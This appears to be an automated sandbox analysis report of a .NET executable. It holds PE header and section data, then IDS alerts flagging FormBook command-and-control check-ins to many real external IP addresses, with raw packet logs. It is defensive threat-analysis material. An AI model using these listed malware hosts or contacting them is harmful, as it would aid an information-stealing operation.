add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbbc41	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xbc000	0x1770	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xbe000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb91f0	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb9c9c	0xb9e00	3bf31a69d95c4db6be9a23c24d3a20d5	False	0.9506083977807667	data	7.942883165317064	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xbc000	0x1770	0x1800	735ad023ac646483b563dd9114988266	False	0.34423828125	data	5.619552021446162	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xbe000	0xc	0x200	628eba7e1432c85ab31f4487538649c1	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xbc130	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.3079268292682927
RT_GROUP_ICON	0xbd1d8	0x14	data	1.1
RT_VERSION	0xbd1ec	0x398	OpenPGP Public Key	0.4206521739130435
RT_MANIFEST	0xbd584	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T09:42:30.625653+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49741	104.21.16.206	80	TCP
2024-11-25T09:42:48.000735+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49742	185.27.134.144	80	TCP
2024-11-25T09:42:50.708449+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49743	185.27.134.144	80	TCP
2024-11-25T09:42:53.318751+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49744	185.27.134.144	80	TCP
2024-11-25T09:42:56.021633+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49745	185.27.134.144	80	TCP
2024-11-25T09:43:03.384367+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49753	74.48.143.82	80	TCP
2024-11-25T09:43:06.154691+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49759	74.48.143.82	80	TCP
2024-11-25T09:43:08.759106+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49766	74.48.143.82	80	TCP
2024-11-25T09:43:11.526224+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49776	74.48.143.82	80	TCP
2024-11-25T09:43:19.041365+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49792	206.238.89.119	80	TCP
2024-11-25T09:43:21.791205+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49798	206.238.89.119	80	TCP
2024-11-25T09:43:24.525641+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49804	206.238.89.119	80	TCP
2024-11-25T09:43:27.327256+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49810	206.238.89.119	80	TCP
2024-11-25T09:43:34.856244+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49830	212.123.41.108	80	TCP
2024-11-25T09:43:37.476403+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49836	212.123.41.108	80	TCP
2024-11-25T09:43:40.197423+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49842	212.123.41.108	80	TCP
2024-11-25T09:43:43.245519+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49848	212.123.41.108	80	TCP
2024-11-25T09:43:50.075410+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49864	172.67.223.206	80	TCP
2024-11-25T09:43:52.764122+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49872	172.67.223.206	80	TCP
2024-11-25T09:43:55.400153+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49881	172.67.223.206	80	TCP
2024-11-25T09:43:58.058248+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49887	172.67.223.206	80	TCP
2024-11-25T09:44:05.306994+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49903	172.67.186.192	80	TCP
2024-11-25T09:44:07.720301+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49909	172.67.186.192	80	TCP
2024-11-25T09:44:10.340449+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49915	172.67.186.192	80	TCP
2024-11-25T09:44:13.151658+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49923	172.67.186.192	80	TCP
2024-11-25T09:44:20.346737+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49941	161.97.142.144	80	TCP
2024-11-25T09:44:23.073497+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49948	161.97.142.144	80	TCP
2024-11-25T09:44:25.814341+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49954	161.97.142.144	80	TCP
2024-11-25T09:44:28.762644+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49961	161.97.142.144	80	TCP
2024-11-25T09:44:35.744959+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49978	43.199.54.158	80	TCP
2024-11-25T09:44:38.416552+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49986	43.199.54.158	80	TCP
2024-11-25T09:44:41.088357+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49993	43.199.54.158	80	TCP
2024-11-25T09:44:43.815065+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49999	43.199.54.158	80	TCP
2024-11-25T09:44:50.674461+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50015	209.74.77.108	80	TCP
2024-11-25T09:44:53.340985+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50022	209.74.77.108	80	TCP
2024-11-25T09:44:56.024434+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50030	209.74.77.108	80	TCP
2024-11-25T09:44:58.679491+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50035	209.74.77.108	80	TCP
2024-11-25T09:45:05.816414+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50044	185.27.134.206	80	TCP
2024-11-25T09:45:08.524374+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50045	185.27.134.206	80	TCP
2024-11-25T09:45:11.241502+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50046	185.27.134.206	80	TCP
2024-11-25T09:45:13.852045+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50047	185.27.134.206	80	TCP
2024-11-25T09:45:22.341229+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50048	163.44.185.183	80	TCP
2024-11-25T09:45:24.967807+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50049	163.44.185.183	80	TCP
2024-11-25T09:45:27.713508+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50050	163.44.185.183	80	TCP
2024-11-25T09:45:30.299304+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50051	163.44.185.183	80	TCP
2024-11-25T09:45:37.664918+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50052	217.160.0.200	80	TCP
2024-11-25T09:45:40.365321+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50053	217.160.0.200	80	TCP
2024-11-25T09:45:43.090803+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50054	217.160.0.200	80	TCP
2024-11-25T09:45:45.806704+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50055	217.160.0.200	80	TCP
2024-11-25T09:45:53.457941+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50056	107.167.84.42	80	TCP
2024-11-25T09:45:56.166119+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50057	107.167.84.42	80	TCP
2024-11-25T09:45:58.766192+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50058	107.167.84.42	80	TCP
2024-11-25T09:46:01.480359+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50059	107.167.84.42	80	TCP
2024-11-25T09:46:09.371073+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50060	77.68.64.45	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 09:42:29.192503929 CET	49741	80	192.168.2.4	104.21.16.206
Nov 25, 2024 09:42:29.312155008 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:29.312347889 CET	49741	80	192.168.2.4	104.21.16.206
Nov 25, 2024 09:42:29.323622942 CET	49741	80	192.168.2.4	104.21.16.206
Nov 25, 2024 09:42:29.443384886 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.625463963 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.625514984 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.625550032 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.625586987 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.625618935 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.625653028 CET	49741	80	192.168.2.4	104.21.16.206
Nov 25, 2024 09:42:30.625691891 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.625725031 CET	49741	80	192.168.2.4	104.21.16.206
Nov 25, 2024 09:42:30.625726938 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.625734091 CET	49741	80	192.168.2.4	104.21.16.206
Nov 25, 2024 09:42:30.625761986 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.625797033 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.625804901 CET	49741	80	192.168.2.4	104.21.16.206
Nov 25, 2024 09:42:30.625833035 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.625873089 CET	49741	80	192.168.2.4	104.21.16.206
Nov 25, 2024 09:42:30.745532036 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.745598078 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.745707035 CET	49741	80	192.168.2.4	104.21.16.206
Nov 25, 2024 09:42:30.826632023 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.826689959 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.826802969 CET	49741	80	192.168.2.4	104.21.16.206
Nov 25, 2024 09:42:30.830848932 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.830943108 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.831038952 CET	49741	80	192.168.2.4	104.21.16.206
Nov 25, 2024 09:42:30.839205027 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.839277029 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.839366913 CET	49741	80	192.168.2.4	104.21.16.206
Nov 25, 2024 09:42:30.847651958 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.847783089 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:30.847883940 CET	49741	80	192.168.2.4	104.21.16.206
Nov 25, 2024 09:42:30.851448059 CET	49741	80	192.168.2.4	104.21.16.206
Nov 25, 2024 09:42:30.971082926 CET	80	49741	104.21.16.206	192.168.2.4
Nov 25, 2024 09:42:46.584777117 CET	49742	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:46.704447985 CET	80	49742	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:46.704541922 CET	49742	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:46.719499111 CET	49742	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:46.839126110 CET	80	49742	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:48.000629902 CET	80	49742	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:48.000648975 CET	80	49742	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:48.000735044 CET	49742	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:48.228627920 CET	49742	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:49.247580051 CET	49743	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:49.367146969 CET	80	49743	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:49.367242098 CET	49743	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:49.382522106 CET	49743	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:49.502155066 CET	80	49743	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:50.708312035 CET	80	49743	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:50.708396912 CET	80	49743	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:50.708448887 CET	49743	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:50.885044098 CET	49743	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:51.903884888 CET	49744	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:52.023439884 CET	80	49744	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:52.023648024 CET	49744	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:52.039318085 CET	49744	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:52.158991098 CET	80	49744	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:52.159023046 CET	80	49744	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:52.159096003 CET	80	49744	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:52.159130096 CET	80	49744	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:52.159178019 CET	80	49744	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:52.159343004 CET	80	49744	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:52.159369946 CET	80	49744	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:52.159395933 CET	80	49744	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:52.159423113 CET	80	49744	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:53.318517923 CET	80	49744	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:53.318551064 CET	80	49744	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:53.318751097 CET	49744	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:53.541223049 CET	49744	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:54.560883045 CET	49745	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:54.680572987 CET	80	49745	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:54.680717945 CET	49745	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:54.690721989 CET	49745	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:54.810455084 CET	80	49745	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:56.021442890 CET	80	49745	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:56.021466017 CET	80	49745	185.27.134.144	192.168.2.4
Nov 25, 2024 09:42:56.021632910 CET	49745	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:56.024231911 CET	49745	80	192.168.2.4	185.27.134.144
Nov 25, 2024 09:42:56.143829107 CET	80	49745	185.27.134.144	192.168.2.4
Nov 25, 2024 09:43:02.048356056 CET	49753	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:02.167898893 CET	80	49753	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:02.168086052 CET	49753	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:02.232209921 CET	49753	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:02.351942062 CET	80	49753	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:03.384166956 CET	80	49753	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:03.384260893 CET	80	49753	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:03.384313107 CET	80	49753	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:03.384366989 CET	49753	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:03.384366989 CET	49753	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:03.744431019 CET	49753	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:04.763336897 CET	49759	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:04.882932901 CET	80	49759	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:04.883044004 CET	49759	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:04.897916079 CET	49759	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:05.017546892 CET	80	49759	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:06.154476881 CET	80	49759	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:06.154603958 CET	80	49759	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:06.154619932 CET	80	49759	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:06.154690981 CET	49759	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:06.400526047 CET	49759	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:07.419594049 CET	49766	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:07.539330006 CET	80	49766	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:07.539442062 CET	49766	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:07.554625988 CET	49766	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:07.674612045 CET	80	49766	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:07.674700975 CET	80	49766	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:07.674753904 CET	80	49766	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:07.674806118 CET	80	49766	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:07.674941063 CET	80	49766	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:07.675025940 CET	80	49766	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:07.675127983 CET	80	49766	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:07.675168037 CET	80	49766	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:07.675285101 CET	80	49766	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:08.759027004 CET	80	49766	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:08.759105921 CET	49766	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:09.073550940 CET	49766	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:09.193070889 CET	80	49766	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:10.092510939 CET	49776	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:10.212009907 CET	80	49776	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:10.214416027 CET	49776	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:10.226810932 CET	49776	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:10.346309900 CET	80	49776	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:11.526035070 CET	80	49776	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:11.526052952 CET	80	49776	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:11.526070118 CET	80	49776	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:11.526223898 CET	49776	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:11.529161930 CET	49776	80	192.168.2.4	74.48.143.82
Nov 25, 2024 09:43:11.648782015 CET	80	49776	74.48.143.82	192.168.2.4
Nov 25, 2024 09:43:17.393229961 CET	49792	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:17.512815952 CET	80	49792	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:17.512913942 CET	49792	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:17.534715891 CET	49792	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:17.654418945 CET	80	49792	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:19.041364908 CET	49792	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:19.078130007 CET	80	49792	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:19.078227043 CET	49792	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:19.078257084 CET	80	49792	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:19.078349113 CET	49792	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:19.160823107 CET	80	49792	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:19.160881996 CET	49792	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:20.092895031 CET	49798	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:20.212677002 CET	80	49798	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:20.212762117 CET	49798	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:20.283946037 CET	49798	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:20.403467894 CET	80	49798	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:21.791204929 CET	49798	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:21.822235107 CET	80	49798	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:21.822459936 CET	49798	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:21.822475910 CET	80	49798	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:21.822832108 CET	49798	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:21.910852909 CET	80	49798	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:21.912076950 CET	49798	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:22.854609966 CET	49804	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:22.974181890 CET	80	49804	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:22.974272013 CET	49804	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:23.012981892 CET	49804	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:23.132739067 CET	80	49804	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:23.132750034 CET	80	49804	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:23.132760048 CET	80	49804	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:23.132764101 CET	80	49804	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:23.132846117 CET	80	49804	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:23.132854939 CET	80	49804	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:23.132867098 CET	80	49804	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:23.132960081 CET	80	49804	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:23.132968903 CET	80	49804	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:24.525640965 CET	49804	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:24.539942026 CET	80	49804	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:24.540035009 CET	49804	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:24.545037985 CET	80	49804	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:24.545103073 CET	49804	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:24.645121098 CET	80	49804	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:24.645190001 CET	49804	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:25.646199942 CET	49810	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:25.765700102 CET	80	49810	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:25.765768051 CET	49810	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:25.871084929 CET	49810	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:25.990614891 CET	80	49810	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:27.326922894 CET	80	49810	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:27.327135086 CET	80	49810	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:27.327255964 CET	49810	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:27.329874992 CET	49810	80	192.168.2.4	206.238.89.119
Nov 25, 2024 09:43:27.449471951 CET	80	49810	206.238.89.119	192.168.2.4
Nov 25, 2024 09:43:33.378108978 CET	49830	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:33.497734070 CET	80	49830	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:33.497876883 CET	49830	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:33.514730930 CET	49830	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:33.634495020 CET	80	49830	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:34.856048107 CET	80	49830	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:34.856173038 CET	80	49830	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:34.856244087 CET	49830	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:35.028795958 CET	49830	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:36.044747114 CET	49836	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:36.164241076 CET	80	49836	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:36.164338112 CET	49836	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:36.188087940 CET	49836	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:36.307761908 CET	80	49836	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:37.476222992 CET	80	49836	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:37.476294994 CET	80	49836	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:37.476402998 CET	49836	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:37.698596954 CET	49836	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:38.718921900 CET	49842	80	192.168.2.4	212.123.41.108
